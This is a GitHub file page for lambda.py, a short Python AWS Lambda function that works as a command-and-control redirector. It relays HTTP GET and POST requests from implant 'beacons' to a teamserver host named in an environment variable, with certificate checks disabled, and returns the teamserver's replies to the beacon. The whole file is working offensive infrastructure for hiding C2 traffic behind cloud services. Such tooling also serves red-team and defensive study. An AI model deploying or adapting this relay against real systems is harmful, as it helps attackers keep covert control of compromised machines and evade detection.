-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathlambda.py
64 lines (49 loc) · 1.69 KB
/
lambda.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import base64
import os
import requests
def redirector(event, context):
print(event)
#######
# Forward HTTP request to C2
#######
# Setup forwarding URL
teamserver = os.getenv("TEAMSERVER")
url = "https://" + teamserver + event["requestContext"]["http"]["path"]
# Parse Query String Parameters
queryStrings = {}
if "queryStringParameters" in event.keys():
for key, value in event["queryStringParameters"].items():
queryStrings[key] = value
# Parse HTTP headers
inboundHeaders = {}
for key, value in event["headers"].items():
inboundHeaders[key] = value
# Handle potential base64 encodng of body
body = ""
if "body" in event.keys():
if event["isBase64Encoded"]:
body = base64.b64decode(event["body"])
else:
body = event["body"]
# Forward request to C2
requests.packages.urllib3.disable_warnings()
if event["requestContext"]["http"]["method"] == "GET":
resp = requests.get(url, headers=inboundHeaders, params=queryStrings, verify=False)
elif event["requestContext"]["http"]["method"] == "POST":
resp = requests.post(url, headers=inboundHeaders, params=queryStrings, data=body, verify=False)
else:
return "ERROR: INVALID REQUEST METHOD! Must be POST or GET"
########
# Return response to beacon
########
# Parse outbound HTTP headers
outboundHeaders = {}
for head, val in resp.headers.items():
outboundHeaders[head] = val
# build response to beacon
response = {
"statusCode": resp.status_code,
"body": resp.text,
"headers": outboundHeaders
}
return response